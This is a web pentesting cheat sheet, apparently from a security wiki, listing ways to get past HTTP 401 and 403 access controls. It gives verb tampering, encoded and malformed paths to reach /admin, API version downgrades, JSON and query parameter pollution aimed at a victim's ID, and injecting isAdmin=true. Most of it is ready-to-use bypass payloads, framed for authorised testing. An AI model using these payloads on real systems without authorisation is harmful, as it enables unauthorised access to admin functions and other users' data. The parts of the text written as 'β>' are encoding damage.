Bypass 401 & 403
Last updated
Was this helpful?
Last updated
Was this helpful?
In web pentesting, bypassing 401 (Unauthorized) and 403 (Forbidden) errors helps assess security gaps in access controls. Techniques like HTTP verb tampering, HTTP header fuzzing or Path Fuzzing are commonly used to find vulnerabilities and gain unauthorized access.
Try using different verbs to access the file: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
Try using HTTP Proxy Headers, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques.
If the path is protected you can try to bypass the path protection using these other headers:
If /admin
is blocked:
Try using /%2e/admin
(if access is blocked by a proxy, this could bypass the protection).
Try also /%252e/admin
(double URL encode)
Try Unicode bypass: /%ef%bc%8fadmin
(The URL encoded chars are like "/") so when encoded back it will be //admin
and maybe you will have already bypassed the /admin
name check
Other /admin
bypasses:
site.com/admin
β> HTTP 403 Forbidden
site.com/ADMIN
β> HTTP 200 OK
site.com/admin/
β> HTTP 200 OK
site.com/admin/.
β> HTTP 200 OK
site.com//admin//
β> HTTP 200 OK
site.com/./admin/..
β> HTTP 200 OK
site.com/;/admin
β> HTTP 200 OK
site.com/.;/admin
β> HTTP 200 OK
site.com//;//admin
β> HTTP 200 OK
site.com/admin.json
β> HTTP 200 OK (ruby)
Use all this list in the following situations:
/FUZZsecret
/FUZZ/secret
/secretFUZZ
Some API bypasses:
/v3/users_data/1234
β> 403 Forbidden
/v1/users_data/1234
β> 200 OK
{βidβ:111}
-> 401 Unauthriozied
{βidβ:[111]}
-> 200 OK
{βidβ:111}
-> 401 Unauthriozied
{βidβ:{βidβ:111}}
-> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"}
(JSON Parameter Pollution)
user_id=ATTACKER_ID&user_id=VICTIM_ID
(Parameter Pollution)
Change param value: From id=123
--> id=124
Add additional parameters to the URL: ?
id=124
β-> id=124&isAdmin=true
Remove the parameters
Re-order parameters
Use special characters
Perform boundary testing in the parameters β provide values like -234 or 0 or 99999999
If using HTTP/1.1
try to use 1.0 or even test if it supports 2.0.